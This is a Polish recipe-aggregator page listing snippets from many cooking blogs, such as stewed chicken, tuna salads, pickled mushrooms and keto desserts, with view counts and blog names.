Jeśli brakuje Wam pomysłu na przyrządzenie kurczaka to podsyłam propozycję na kurczaka duszonego w sosie własnym z dodatkiem cebulki. Jednak nie będzie to taki zwyczajny kurczak, ponieważ szybciej marynowany był w marynacie z dodatkiem miodu. Kurczak jest przepyszny, mięciutki, kruchy a "kropką nad i" jest delikatny, słodki posmak miodu. Wygląda rewelacyjnie a jeszcze lepiej smakuje :) Składniki: * około 1 kg pałek

Zrób to smacznie
Makaron z tuńczykiem w śmietanie 162

właśnie przygotowanego tuńczyka dodałam ugotowany makaron i przemieszałam. Przed podaniem danie posypałam natką z pietruszki. Notatki: * miałam puszkę tuńczyka 185 g z zalewą. * najsmaczniejszy będzie tuńczyk w oleju bądź sosie własnym Smacznego! Lidka

Pieprzyć z Fantazją
Kapusta pieczona 137

pomidorach wody, wymieszać. Na dnie naczynia do zapiekania ułożyć warstwę kapusty, następnie mięso i posypać 1/2 porcji pokrojonych papryk. Przykryć kapustą, posypać pozostałą porcją papryki. Wierzch polać przygotowanym sosem pomidorowym i posypać oregano, majerankiem lub innymi ulubionymi ziołami. Wstawić na 2 godziny do piekarnika pod przykryciem. Po tym czasie wyjąć, całość przemieszać, w razie potrzeby doprawić solą i pieprzem. Podawać

gotuj ze mną
Kurczak z grzybami i papryką 200

Piękne, pomarańczowe poranki. Otulone chłodem. Z kubkiem gorącej kawy. Czasami z cynamonem. Pozostając w moich ulubionych, jesiennych klimatach, serwuję dzisiaj szybką i prosta potrawę - kurczaka w sosie z papryką i grzybami. Wprawdzie porcja była przewidziana dla 2 osób, jednak wyszło jej na tyle sporo, że najedzą się nawet i 4. Składniki na 2 porcje: 2 filety z kurczaka 1 cebula

My simple kitchen
Gnocchi zapiekane z pulpecikami 166

Klopsiki, sos pomidorowy i mozzarella to bezbłędne połączenie. Dodajemy do tego gnocchi, zapiekamy w piekarniku i mamy pyszne danie obiadowe.  (adsbygoogle = window.adsbygoogle || []).push({ google_ad_client: "ca-pub-4596016726727942", enable_page_level_ads: true }); Gnocchi zapiekane z pulpecikami  składniki: 250 g mięsa mielonego 1 jajko 1 żółta papryka 1/2 czerstwej bułki 1 opakowanie gnocchi 1 puszka pomidorów

Delusional Trine
Sałatka z mango i prosciutto 159

Uwielbiam takie szybkie i treściwe sałatki. Układamy na talerzu różne smakołyki, polewamy sosem i zajadamy. Jak dobrać odpowiednie składniki? zobaczcie sami poniżej. To jest naprawdę bogaty talerz, będzie na obiad i na kolację. Szybka sałatka z mango. CZYTAJ DALEJ

Moje Małe Czarowanie
Kaszotto z dynią i grzybami 121

jednak, którego powielić się nie da. Za sprawą dodanej szczypty serca, która absolutnie zmienia wszystko.  Tata trochę mnie kocha i zapakował część grzybów na wynos. Był z nich sos do smażonej w różowym pieprzu piersi kurczaka ze skórą, było też trochę w jajecznicy a cała reszta została wykorzystana do przepysznego kaszotto na bazie kaszy owsianej, które przygotowałam z dynią

Mango Papaja
PIECZONA BRUKSELKA Z SEREM CHEDDAR 171

Pieczona brukselka to wspaniały dodatek do obiadu, można ją połączyć z makaronem i sosem pomidorowym, lub podać z ryżem. Przepis na pieczoną brukselkę jest bardzo prosty i szybki posypane serem cheddar smakuje obłędnie. Ser cheddar możesz zastąpić parmezanem. Zachęcam Cię do wypróbowania przepisu. Składniki: 300 g brukselki 3 łyżki oliwy 1/2 łyżeczki soli 1 łyżeczka pieprzu w ziarnach

Kukuleczki
Mini bezy z karmelem 143

topimy na średnim ogniu nie mieszając. Kiedy nabierze brązowego koloru zmniejszamy ogień i dodajemy masło,mieszamy. Następnie dodajemy śmietanę, mieszamy przez kilka minut , odstawiamy do ostygnięcia. Podczas stygnięcia sos będzie gęstniał. Na środek bezy nakładamy krem, polewamy go karmelem, dodajemy plasterki banana skropione sokiem z cytryny i posypujemy siekanymi orzechami

Bon appetit mon amie
Grzyby w zalewie octowo-miodowej 229

Świeże grzybki leśne marynowane w zalewie octowej z dodatkiem miodu. Bardzo smaczna i aromatyczna przekąska. Tak przyrządzone grzybki możemy podać do tataru, pasztetu, wędlin, a także jako dodatek do sosu tatarskiego. Do marynowania najlepiej nadają się mniejsze, twarde i jędrne okazy podgrzybków, borowików, kozaków i maślaków.     Składniki: ok 2 kg grzybów 1,5 litra wody 2 łyżki octu

Blog z Apetytem
SAŁATKA Z TUŃCZYKIEM I SOCZEWICĄ 172

tuńczykiem za każdym razem smakuje inaczej, a to dzięki różnym proporcjom dodatków. Wystarczy pajda chleba, bagietka, grzanki i smaczne śniadanie, kolacja czy sałatka imprezowa gotowa;) SKŁADNIKI: puszka tuńczyka w sosie własnym – 170 g (po odsączeniu 120 g) puszka mieszanki Mexico Bonduelle (bez dodatku cukru) – 340 g (po odsączeniu 280 g) – w skład mieszanki wchodzą: kukurydza, groszek, czerwona

Zasmakuj Kuchni
Wołowina w sosie owocowym - Carne con Salsa de Frutas 139

danie pochodzi z książki Victorii Twead "U mnie zawsze świeci słońce" . Jest to przepis kuchni Ekwadoru, choć książka prawi o Hiszpanii, zachęcam także do lektury pozycji. Sos do wołowiny jest niesamowity, pasuje idealnie do mięsa, polecam gorąco. Wołowina natomiast jest soczysta i krucha, idealna do tak wykwintnego dania. Wołowina po ekwadorsku. CZYTAJ DALEJ

Moje Małe Czarowanie
KUCHENNA APTEKA #45 - CIECIORKA 206

jest również dla osób na diecie bezglutenowej oraz chory na celiakię. Najpopularniejsze potrawy z udziałem cieciorki to hummus oraz falafel. Świetnie się też sprawdzi jako składnik do sałatek, makaronu, sosów, gulaszu, a także jako farsz do pierogów. Można ją też zmielić na mąkę i użyć do wypieku chleba, ciast, ciasteczek... Ciecierzyca poza walorami smakowymi, posiada również liczne właściwości zdrowotne. Jest

Kuchnia MagdaLeny
KUCHENNA APTEKA #45 - CIECIORKA 206

jest również dla osób na diecie bezglutenowej oraz chory na celiakię. Najpopularniejsze potrawy z udziałem cieciorki to hummus oraz falafel. Świetnie się też sprawdzi jako składnik do sałatek, makaronu, sosów, gulaszu, a także jako farsz do pierogów. Można ją też zmielić na mąkę i użyć do wypieku chleba, ciast, ciasteczek... Ciecierzyca poza walorami smakowymi, posiada również liczne właściwości zdrowotne. Jest

Kuchnia MagdaLeny
Kotleciki ryżowo-serowe 166

prosty przepis na pyszne kotleciki ryżowo-serowe. Jestem pewna, że przypadną do smaku wszystkim miłośnikom ryżu. Kotleciki te jak najbardziej nadają się jako dodatek do dań mięsnych lub sosów. Spróbujcie koniecznie Składniki na 8-10 sztuk: – 1 szklanka ryżu parabolicznego – 2 szklanki wody – 1 łyżeczka kurkumy – 100g twardej mozarelli – 2 jajka – 3 łyżki bułki

Smaki Armine
Ziemniaki faszerowane zapiekane z serem 222

nagrzanym do 180 stopni przez około 20 minut. Po 20 minutach posypać serem, startym na drobnych oczkach i zostawić w gorącym piekarniku na 5-10 minut. Podawać z ulubionymi sosami i surówką ze świeżych warzyw. Smacznego Ziemniaki faszerowane zapiekane z serem Ziemniaki faszerowane zapiekane z serem Ziemniaki faszerowane zapiekane z serem Artykuł Ziemniaki faszerowane zapiekane z serem pochodzi z serwisu

Smaki Armine
Placuszki z ryżu podane na słodko 217

podane na słodko Dziś przychodzę do Was z przepisem na pyszne placuszki z ryżu podane na słodko. Tak, tak dobrze czytacie. Tym razem nie są to ryżowe kotlety z sosem. Tu mamy pyszne, słodkie i sycące placki z ryżu, które z powodzeniem możecie podać na śniadanie lub obiad. Placuszki naprawdę sycą. Ich głównym składnikiem jest ugotowany ryż. To też wspaniały

Słodkie okruszki
Kiełbasa smażona z cebulą w sosie pomidorowym 113

cebule i rozdrobnione ząbki czosnku, smażymy do lekkiego zrumienienia. Następnie dorzucamy koncentrat i wodę, sól, pieprz, mieszamy i chwilę wszystko smażymy - do redukcji płynów (chodzi o uzyskanie bardzo gęstego sosu, który ostatecznie jest z tego wszystkiego najsmaczniejszy :)). Przed podaniem posypujemy poszatkowaną natką

Kardamonovy
Borderlands 3 – Recenzja – Perfekcyjnie wysmażony chaos ze szczyptą niedociągnięć technicznych 179

easter eggów i nawiązań do różnych elementów popkultury – mam wrażenie, że jest ich tak dużo, że nie sposób natknąć się na większość podczas jednej rozgrywki. 50 odcieni… sosu?   Kulinarne questy w menu Echo Device… Czy mogłoby być więcej elementów kulinarnych w Borderlands 3? No w sumie mogłoby… ale i tak jest ich całkiem sporo, a nawet poświęcono

Nerds Kitchen
Kotlety brokułowe z jajkiem 177

były mdłe i dokładnie wymieszać. Formować kotlety i obtaczać je w bułce tartej, a następnie smażyć na rozgrzanym oleju z obu stron. Gotowe kotlety można podawać z dowolnym sosem lub innymi warzywami. Życzę Smacznego! Zapraszam do polubienia mojego bloga

talerz przyjemności
Pulpety z indyka w sosie z papryką i koperkiem 160

Dzieci bardzo lubią mięso w sosie. Dlatego dość często jakieś danie tego typu ląduje na naszym stole. Składniki: 500 g mielonego mięsa z indyka 1 mała cebula 1 sucha kajzerka 1 jajko sól, pieprz mąka do obtoczenia kulek 1 litr wrzątku 1/2 papryki (świeżej lub mrożonej) 1 pełna łyżka masła 1 pełna łyżka mąki siekany koperek sól, pieprz Sposób wykonania

Kuchnia domowa Ani
Cytrynowy kurczak z lawendą 155

wypełniają podczas pieczenia całą kuchnię, pozwalają na nostalgiczny powrót do lata z lawendowym tłem i mnóstwem bzyczących nad kwiatami pszczół. Do tego pieczone w ziołach ziemniaczki, lekka sałata z sosem vinegret lub innych ulubionym i wspaniały obiad gotowy! Łatwy, przyjemny i niecodzienny pomysł na kurczaka z francuskim akcentem z pewnością zaskarbi sobie niejedno podniebienie i stworzy przytulny klimat francuskiej prowincji

Kuchnia w Słońcu Skąpana
Kolorowe szaszłyki 214

brzoskwinia Kolorowe szaszłyki wykonanie: Kurczaka kroimy w kostkę, przekładamy do miski. Doprawiamy papryką słodką, ostrą, curry, imbirem, solą i pieprzem. Dodajemy 2 łyżki oliwy z oliwek i 2 łyżeczki sosu worcester. Paprykę, brzoskwinię i cebulę kroimy w grubą kostkę, cukinię w plasterki. Nabijamy wszystko naprzemiennie na patyczki. Układamy na wyłożonej folią blaszce. Skrapiamy oliwą, pieczemy od 20 - 30 minut

Delusional Trine
Gulasz z indyka w sosie pomidorowym z papryką 150

Indyk w sosie pomidorowym z papryką to doskonały obiad dla całej rodziny. Jest bardzo aromatyczny, pożywny i rozgrzewający, idealny na jesienną porę. Gulasz przygotowałam z mięsa udźca indyczego - świetny zdrowszy zamiennik dla mięsa wieprzowego i wołowiny

Gotuj zdrowo!Guten Appetit!
Kurczak z dynią i szpinakiem 193

Składniki: 1 filet z kurczaka 100 g szpinaku w brykiecie 250 g dyni 300 g pomidorów 1 cebula 1 mini papryczka chili 1 łyżka sosu chili sól czubryca czerwona szczypta … Czytaj dalej Kurczak z dynią i szpinakiem

czarrna od kuchni
Moje ulubione śniadanie – Jogurt naturalny Dodaj, co lubisz! 200

kcal. W składzie znajdzie mleko, żywe kultury bakterii jogurtowych, białka mleka. Jogurt oczywiście możecie też wykorzystać do przygotowania jogurtowych placuszków (przepis znajdziecie na blogu), puddingu chia, najróżniejszych koktajli, sosów itd. U mnie ostatnio króluje jednak najprostsze rozwiązanie. Kubeczek jogurtu (300 g), ulubione musli, łyżka nasion chia i porcja owoców. Całość zwieńczone listkami świeżej mięty. Po prostu małe niebo! Musicie spróbować

Słodkie okruszki
Curry z kalafiorem i ciecierzycą (Curry di ceci e cavolfiore) 148

ycące,  jednogarnkowe danie, kt ó re znakomicie poprawi humor i rozgrzeje w ch ł odny, jesienny dzie ń . Jako dodatek polecam ry ż   a do maczania w sosie idealnie sprawdz ą  si ę   arabskie chlebki z jogurtem . A jeżeli lubicie wegetariańskie curry, polecam Wam mój wcześniejszy przepis na   curry z ciecierzycą i szpinakiem . Smacznego! **** Qualche

La grande e la piccola cuoca
"Emocje na głodzie" Lindsey Smith 155

ciemną czekoladą i solą morską czy kuleczki na poprawę nastroju, oprócz słodkości są też dania na wytrawnie np. risotto z szałwią, batatami i szparagami, są makarony z pysznymi sosami, grzanki, rollsy, sałatki i napoje. Kolejne są przepisy na lęki i stres i tutaj podobnie mamy słodkości, coś chrupiącego, kremowego i słonego, następnie mamy przepisy na wyczerpanie i zmęczenie, przepisy

kruche babeczki
Kotleciki z tuńczyka i kaszotto orientalne 160

obróbce i wystarczy tylko 15 minut na ich przygotowanie, a z jednej torebki wyjdzie 3 porcje. Powiem Wam, że ciekawe i smaczne :-) Kotleciki z tuńczyka: 2 puszki tuńczyka w sosie własnym  1 średnia cebula 1/2 pęczka natki pietruszki 2 jajka M +2 do panierki 1/2 łyżeczki słodkiej papryki 4 łyżki mąki pszennej sól pieprz bułka tarta Dodatkowo: kaszotto orientalne

kruche babeczki
Gulasz dyniowy z indykiem i fasolą 168

minut, na średnim ogniu.   Gdy mięso jest usmażone, dodajemy na patelnie zmiksowaną dynię oraz cały bulion – dokładnie mieszamy, aż wszystko się połączy i powstanie gęsty i kremowy sos. Jeśli wydaje nam się, że jednak wszystko jest zbyt zwarte i gęste, możemy dodać na patelnie więcej bulionu lub przegotowanej wody. Zmniejszamy ogień na mały, dodajemy do wszystkiego odcedzoną

Smaczna Strona
Curry masala z kurczaka, szybko i pysznie 135

Dodać kwiatki brokuł i gotować następne 5-6 minut. Ugotować makaron ryżowy lub inny. Możecie dodać ugotowany makaron na patelnię i wymieszać lub położyć makaron na talerze i polać sosem. Danie super, polecam

Kuchnia Pokoleń
Sernik mocno czekoladowy ze słonym karmelem 208

ogniu aż cukier się rozpuści, i masą zacznie gęstnieć. Tak po około 5 minutach, nie mieszam łyżką, tylko garnek obracam. Wlewam śmietanę i dalej na wolnym ogniu gotuję. Jak sos zrobi się lekko gęsty, dodaję sól, masło i jeszcze chwilę gotuję. Na końcu dodaję orzechy i mieszam. Zostawiam do ostygnięcia lekkiego. Masę wylewam na zimny sernik, wstawiam do lodówki

wesoła kuchnia
Keto dyniowe latte (Paleo, LowCarb) 179

Oczywiście moje będzie miało odwrócone proporcje, czyli maksimum tłuszczu – minimum węglowodanów. Keto dyniowe latte Dyniowa latte w wersji lowcarb Na wstępie kilka informacji praktycznych. Niektórzy zalecają przygotowanie dyniowego sosu z mleka kokosowego , puree z dyni i keto słodzidła ( erytrytol lub stewia powinny się dobrze sprawdzić) z dodatkiem wspomnianej przyprawy. To podejście jest jak najbardziej zasadne. Taką dyniową miksturę można

Modern Cave Girl
Pyszna zapiekanka ziemniaczana 154

pyszną, choć trochę nietypową według mnie, bo z twarogiem Capri, zapiekankę ziemniaczaną. Najlepiej uwielbiam zajadać się nią samą, bez żadnych dodatków. Idealnie też pasuje do gulaszu czy dań z sosem. Po prostu pycha. Polecam!!! Składniki: 4 duże ziemniaki 150-200 g twarogu Capri 1 jajko 5 łyżek oleju z czosnkiem, bazylią i pomidorami ½ szklanki maki tortowej ½ szklanki wody

Przepisy Babci
Makaron z kurczakiem i pomidorkami koktajlowymi 161

kurczaka jest gotowy, dorzucamy pokrojoną w piórka cebulę i przekrojone na pół pomidorki. Dolewamy około dwóch małych nabierek wody z gotującego się makaronu, w ten sposób wytworzy nam się sos. Odcedzamy makaron i dodajemy na patelnię z kurczakiem i pomidorkami. Doprawiamy solą, pieprzem i suszoną bazylią. Całość mieszamy.  (adsbygoogle = window.adsbygoogle || []).push

Delusional Trine
Grzyby marynowane 133

Lubicie grzyby marynowane? Ja bardzo! Świetnie sprawdzają się jako zakąska, ale również jako element sosów (np. tatarskiego) czy sałatek. Oczywiście można kupić je gotowe, ale warto pokusić się o przygotowanie chociaż kilku słoiczków na własne potrzeby. Przepis jest banalny! Inne przepisy z wykorzystaniem grzybów znajdziecie TUTAJ . Grzyby marynowane – Składniki: 500 g grzybów leśnych (np. podgrzybków czy borowików) 1 duża

Pasja Smaku
Sałatka grzybowa z papryką 153

Postanowiłam w tym roku zaszaleć nieco z grzybami i przygotować je na różne sposoby. Była już zatem tarta z grzybami ( z poprzedniego posta ), sos grzybowy ( klik ) i kurczak z grzybami (już niebawem na blogu). Trochę zamroziłam, część ususzyłam a ostatnią partię zamknęłam w słoiku w postaci sałatki. Przepis na nią znalazłam w magazynie Moje Gotowanie 10/2016. Z podanej porcji wyszły

My simple kitchen
Zamknęłam lato w słoiku... Użyję do zupy, do marynaty, a Ty do czego go żyjesz? 146

ciekawych przepis, który może przypaść Wam do gustu.  Pasta, którą dzisiaj przygotowałam to idealny sposób, na skoncentrowanie smaku pysznych warzyw w słoiku. Taką pastę śmiało możemy wykorzystać do sosów, mięs, czy marynaty. Myślę, że nawet do zupy będzie idealna.   Pasta b ulionowa  200 g obranych marchewek 150 g obranych korzeni pietruszki mały seler 2 cebule 4 ząbki

Kuchnia moimi oczami
ZDROWIE NA ŚNIADANIE - 50 przepisów na zdrowe śniadania 264

bankowy 65 8562 0007 0053 8167 3000 0010 (zamawiając ebooka dzisiaj, to jest 04.10.2019 r. przelej na konto 40 zł)  SPIS TREŚCI Naleśniki Naleśniki orkiszowe z twarożkiem i sosem truskawkowym      6 Owsiane naleśniki kakaowe z twarożkiem orzechowym i bananem      8 Gryczane naleśniki bananowe z czekoladą     10 Naleśniki

Zdrowie na języku :P
,,Spaghetti z dynią’’ 156

dusimy przez około 30 minut, do miękkości dyni. Makaron gotujemy w osolonej wodzie. Do naczynia z dynią dodajemy śmietankę, natkę pietruszki i 2 łyżki tartego parmezanu. Do przygotowanego sosu dodajemy makaron spaghetii. Gotowe danie posypujemy pozostałym parmezanem i białym sezamem . Patelnia równomiernie się nagrzewa, dobrze rozprowadza ciepło. Jej grube dno sprawia, że patelnia długo utrzymuje wysoką temperaturą. Patelnia jest masywna

Podróż w kulinaria
CUKINIA FASZEROWANA MIĘSEM MIELONYM (keto, LCHF, bez glutenu) 667

Cukinia faszerowana mięsem mielonym to pomysł na szybki i bardzo prosty w przygotowaniu obiad. W naszym domu gości dość często gdy tylko zaczyna się sezon na cukinię. Aromatyczny sos mięsno-warzywny, pyszna cukinia i zapieczony ser… po prostu pyszne! Jeśli lubicie takie potrawy to polecam też mój przepis na faszerowaną paprykę . Składniki – cukinia faszerowana mięsem mielonym: 2 średnie

Ola la LCHF
Keto ciasto limonkowe (Paleo, LowCarb) 233

naleśnikowy (Paleo, LowCarb) Keto desernik malinowy (Paleo, LowCarb) Keto smoothie czekoladowe (Paleo, LowCarb) Keto key lime pie (Paleo, LowCarb) Keto truskawki w polewie (Paleo, LowCarb) Keto crêpes czekoladowe z sosem truskawkowym (Paleo, LowCarb) Keto tiramisu z kalafiora (Paleo, LowCarb) Keto chia trifle z truskawkami (Paleo, LowCarb) Keto gofry śniadaniowe (Paleo, LowCarb) Keto ciasto kokosowo- cytrynowe (Paleo, LowCarb) Kawowy keto sernik

Modern Cave Girl
Grzyby marynowane 128

Grzyby marynowane Jeden z najpopularniejszych sposobów na przetwory zimowe z grzybów to grzyby marynowane w occie. Podajemy je do tataru, pasztetu, wędlin, a także jako dodatek do sosu tatarskiego PRZEPIS TUTAJ (klik)     Składniki: ok 2 kg grzybów 1,5 litra wody 1 łyżka soli Zalewa: 3 szklanki wody 1 szklanka octu 10% 1 cebula 3 łyżki cukru

Blog z Apetytem
Pij codziennie wodę z kurkumą! Dowiedz się dlaczego! 157

dlaczego warto codziennie pić wodę z kurkumą.     Kurkuma ma bardzo dużo właściwości prozdrowotnych. Ma również szerokie zastosowanie w kuchni jako aromatyczny do dodatek do mięs, warzyw, sosów. Dzięki swoim właściwością działa zdrowotnie na oczy, mózg, serce, zęby, płuca, żołądek, wątrobę, nerki i skórę.      Kurkuma posiada właściwości przeciwzapalne, pomaga w obniżeniu poziomy cholesterolu, pomaga

To Musisz Wiedzieć
8 małych kroczków do utraty wagi – odchudzanie dla leniwych 182

czując głodu. 2. Staraj się pilnować co jesz – jeśli nie przepadasz za dietetycznymi przepisami staraj się zwracać uwagę na to co nakładasz sobie na talerz. Zrezygnuj z tłustych sosów, nie jedz mięs w panierkach, ogranicz sól i cukier. Wdrażaj zmiany powoli, by się szybko nie zrazić. 3. Jedz na mniejszych talerzach – psychologicznie działa na człowieka ilość jedzenia

To Musisz Wiedzieć
Chilli con carne 129

oliwek. Dodajemy mięso mielone. Podsmażamy, aż nie będzie surowe. Dodajemy całą puszkę pomidorów oraz wlewamy około 1/2 puszki wody. Dodajemy kawałki papryki. Całość dusimy na średnim ogniu, aż sos zgęstnieje. Dodajemy opłukane z zalewy pod bieżącą wodą o odcedzone kukurydzę i czerwoną fasolę, ostrą i wędzoną paprykę. Doprawiamy do smaku. Mieszamy. Dusimy na małym ogniu chwilę. Podajemy

Moja smaczna kuchnia
Brzoskwiniowa Poezja 161

marynatę zlewamy do rondelka. 4.   Dodajemy sok z brzoskwiń, żurawinę oraz curry i gotujemy 5 minut. 5.   Mięso po upieczeniu wkładamy do naczynia żaroodpornego, polewamy sosem i jeszcze zapiekamy 10 minut. 6.   Po upieczeniu dekorujemy brzoskwiniami. 7.   Danie gotowe. 8.   Smacznego

Kulinarna Chwila
Tortille z tuńczykiem i cebulką 168

Będzie mi bardzo miło jeśli polubisz moją stronę na FB gotowaniepatki ❤❤❤❤❤❤❤❤❤❤❤❤❤❤ https://m.facebook.com/gotowaniepatki/  Składniki na 4 porcje:  4 placki tortilli (dowolne)  180 g tuńczyka w sosie własnym (puszka) 3 ogórki kiszone 10 dag sera żółtego wędzonego  4 łyżki drobno posiekanego szczypiorku  2 łyżki Cebulki prażonej Skworcu https://www.skworcu.com.pl/cebulka-prazona-cebula-ekstra-100g.html 1/3 łyżeczki pieprzu czarnego Skworcu

Gotowanie Patki
Sałatka neapolitańska z wędzonym kurczakiem 185

sałatkę *** *** Na wierzchu układamy pokrojone w kosteczkę suszone pomidory oraz odsączone z zalewy oliwki. Całość posypujemy nasionami słonecznika *** *** Oliwę mieszamy z sokiem z cytryny oraz przyprawami i tak powstałym sosem polewamy równomiernie sałatkę *** *** SMACZNEGO ***     POLECAM TAKŻE: IMPREZOWE HITY! POMYSŁY NA PRZEKĄSKI, DANIA I PRZYSTAWKI KLIKNIJ TUTAJ DANIA JEDNOGARNKOWE – NAJLEPSZE PRZEPISY KLIKNIJ TUTAJ Artykuł Sałatka neapolitańska z wędzonym kurczakiem

Blog z Apetytem
ŚLIWECZNIK SYPANY 215

ciasto z piekarnika i odstawiamy do wystudzenia. Następnie zdejmujemy obręcz i wyjmujemy ciasto z formy. Delikatnie usuwamy papier z boków i już możemy się delektować pysznym ciastem. Do tego sos waniliowy lub gałka ulubionych lodów... mniam...poezja...:-)   Smacznego

Smaczne Zdrowe
Pomidorowy sos slodko kwasny 131

Całość gotować 1 godzinę. Pod koniec dodać pokrojoną w kostkę paprykę i ananasa. Gdy papryka będzie miękka zagęścić 2 łyżkami mąki ziemniaczanej rozpuszczonej w soku z ananasa. Gorący sos wlewać do wyparzonych słoików. Zakręcić i odstawić do góry dnem do wystygnięcia

Słodki Zakątek
Dahl na mleku kokosowym 137

obiad znów miał być makaron z sosem pomidorowym. Ale ile można jeść jedno i to samo? Nawet najlepsze dania kiedyś muszą się znudzić

Vegan Taste
Spaghetti ze smażonym porem i tofu 121

Jedną z pierwszych potraw, które przygotowałem jako dziecko, było spaghetti. Nie mogę nawet powiedzieć, że „ugotowałem” to danie, bo jako sosu użyłem keczupu. Łatwo wyobrazić

Vegan Taste
Sałatka ryżowa z tuńczykiem 101

kolację, świetna by zabrać ją do pracy. Szybka i być może wszystkie składniki macie w domu. Składniki: 1 torebka ryżu ugotowanego w osolonej wodzie 1 puszka tuńczyka w sosie własnym – odcedzamy wodę 1 czerwona papryka pokrojona w kostkę 1 puszka zielonego groszku- odlewamy zalewę sól pieprz 1 łyżka majonezu 2 łyżki jogurtu naturalnego Wszystkie składniki mieszamy i zajadamy

MojaQchnia.pl
Sztuka gotowania – Niki Segnit – recenzja 173

dobrych restauracji i testować podpatrzone nowe smaki w domu . Dlaczego warto mieć na półce “Sztuką gotowania” ? Książka zawiera 77 podstawowych przepisów, które autorka podzieliła na grupy jak ciasta czekoladowe, sosy czy zupy. Wstęp do książki napisał sam Yotam Ottolenghi . Tak jak “Leksykon smaków” był rewolucją w świecie książek kucharskich i podręcznikiem który powinien stać na półce, tak zaraz obok powinna

Ugotowane pozamiatane
Niedzielny obiad kurpiowski 172

durszlaku i przełożyć na talerze z zupą. Udekorować borówkami i listkami bazylii. Rejbak kurpiowski z marchewką Babka to klasyczny dodatek do wszystkiego. Do chłodnika, do mięsa i sosu, zamiast obiadu i na przekąskę. Na Kurpiach babkę nazywa się rejbakiem albo kartoflakiem. Ten przepis jest z marchewką. Marchewkowy będzie też deser! Składniki: kilo ziemniaków umytych i obranych kilo marchewek umytych

Ugotowane pozamiatane
Wine Expo Poland 2019 136

sałatki z ośmiornicy, która jest jedną ze specjalności Sheep Sardynia Ristorante. W tej sardyńskiej restauracji na Oboźnej można też spróbować włoskie makarony jak gnocchi alla campidanese czy penne z sosem z pomidorami i bottargą. Podobnie riesling Bruderschaft od Weingut Linden Josef z 2017. I to nie tylko ze względu na nazwę, bo przecież była to degustacja w ciemno

Ugotowane pozamiatane
Placuszki Marchewkowe Na Słono 156

smażymy niezbyt grube placki na złoto- brązowy kolor. Po usmażeniu odsączamy na papierowym ręczniku. Placki podajemy z kwaśną śmietaną, jogurtem naturalnym, ketchupem lub jeśli mało Wam czosnku to z sosem czosnkowym ;) Smacznego

Gotowanie...to proste !
Kanie suszone 122

Kanie suszone są świetnym dodatkiem/przyprawą do różnych dań, sosów, kaszy ... Gdy mamy ich nadmiar, warto je ususzyć, jednak pamiętajmy, że zabieramy je z lasu, tylko gdy mamy pewność, że są to kanie, a nie inne (czasem trujące) grzyby. Kanie Odciąć nóżki. Kapelusze kań oczyścić. Należy je oczyścić (najlepiej pędzelkiem) z piasku, mchu…  Grzybów do suszenia nie myjemy

królestwo garów
Leczo z patisonem i klopsikami 163

odstawać.         Polecam przekąski… – Jajka w majonezie – Domowe pieczywo czosnkowe – Sałatka brokułowa z papryką – Sałatka z makaronem ryżowym – Jajka w sosie tatarskim – Czosnkowe supełki

Kulinarny S.O.S.
Leczo z patisonem i klopsikami 163

odstawać.         Polecam przekąski… – Jajka w majonezie – Domowe pieczywo czosnkowe – Sałatka brokułowa z papryką – Sałatka z makaronem ryżowym – Jajka w sosie tatarskim – Czosnkowe supełki

Kulinarne S.O.S.
Japońskie ciasto z jabłkami 150

Znalazłam przepis na to ciasto u Słodkiej kuchareczki i też chciałam je spróbować. Jest pycha, w oryginale podane jest z sosem karmelowym, ja podałam bez a i tak było pyszne. Ciasto jest wilgotne, takie zakalcowate ale taki jego urok, jest pycha, polecam. Ciasto z jabłkami z Japonii. CZYTAJ DALEJ

Moje Małe Czarowanie
Domowe wafle serduszka – najlepszy przepis! 8368

mleka 1/3 szklanki oleju 3 sztuki jajek średniej wielkości 1 łyżeczka proszku do pieczenia 4 łyżki cukru 1 opakowanie cukru wanilinowego szczypta soli dowolne dodatki: cukier puder, dżem, owoce, sos czekoladowy, bita śmietana. Składniki powinny być w temperaturze pokojowej, mleko może być lekko podgrzane. (adsbygoogle = window.adsbygoogle || []).push({}); Domowe wafle serduszka – wykonanie Oddziel żółtka od białek. Żółtka przełóż do niewielkiej

To Musisz Wiedzieć
Sałatka z tuńczykiem i jabłkiem 168

kostkę. Przełóż do miski. Dodaj posiekany koper i pietruszkę.W garnuszku wymieszaj majonez z przyprawami, sokiem z limonki i creme fraiche. Creme fraiche możesz zastąpić gęstą, kwaśną śmietaną. Dodaj sos do sałatki, dopraw solą i dokładnie wymieszaj. Przekrój ciabatę wzdłuż na pół. Na płaskiej połowce ciabaty ułóż zieleninę, np. sałatę (lub kiełki słonecznika jak u mnie). Pokrój jajka na plasterki

codojedzenia
Maliny z cukrem, w słoiczkach na zimę 158

nieokreślona, ponieważ zależy to od Waszych upodobań i słodkości samych owoców. W moich słoiczkach na 200 ml słoik dałam po 3 łyżeczki cukru. Takie maliny będą pyszną bazą do sosu malinowego na ciepło do lodów, budyniu, naleśników czy kaszki lub do herbatki w zimny, zimowy wieczór. Jeśli macie jeszcze maliny to zaprawcie sobie choć kilka słoiczków. Składniki: maliny cukier Przygotowanie

Kocham..lubię..gotuję..
Kotleciki grzybowe z kaszy z grillowanymi borowikami 142

odstawiamy na 5 godzin do namoczenia. Następnie gotujemy na małym ogniu przez 20 minut. Odcedzamy, wywar powstały podczas gotowania grzybów możemy zamrozić lub wykorzystać od razu do przygotowania sosu lub zupy. Ugotowane grzyby bardzo drobno siekamy. Cebulę kroimy w  drobniutką kostkę i przesmażamy na rozgrzanym maśle. Gdy będzie szklista dodajemy do niej posiekane grzyby i smażymy razem przez

Kulinarne przygody Gatity
Chrupiące smażone grzyby leśne 152

niej grzyby i obgotowujemy przez około 3 minuty *** *** Po tym czasie grzyby odcedzamy i przelewamy czystą wodą *** *** Do smażenia używam samych kapeluszy, ogonki odkrawam i drobno pokrojone dodaje do sosu lub zupy grzybowej. Grzyby delikatnie solimy *** *** Kapelusze obtaczamy kolejno w mące *** *** Na patelni rozgrzewamy tłuszcz i smażymy na nim grzyby *** *** Smażymy z dwóch stron do momentu, aż powstanie rumiana, chrupiąca

Blog z Apetytem
Kurczak piri piri Jamiego Olivera 230

Składniki: ok. 1 kg mięsa z kurczaka, u mnie udka i filet 1 brokuł sól, pieprz sos piri piri: 1 czerwona cebula 4 ząbki czosnku 1-2 papryczki chili z pestkami … Czytaj dalej Kurczak piri piri Jamiego Olivera

czarrna od kuchni
Spaghetti Carbonara 158

przełożyć do przesmażonego boczku na patelni, wymieszać, wyłączyć ogień, a następnie przełożyć jajeczną masę z pecorino. Całość dokładnie ze sobą połączyć. Podawać natychmiast. Buon appetito! Na Spaghetti carbonara w sosie śmietanowym zapraszam  tutaj

Wino Francja Kuchnia
Czekoladowy makaron z jogurtem i owocami 171

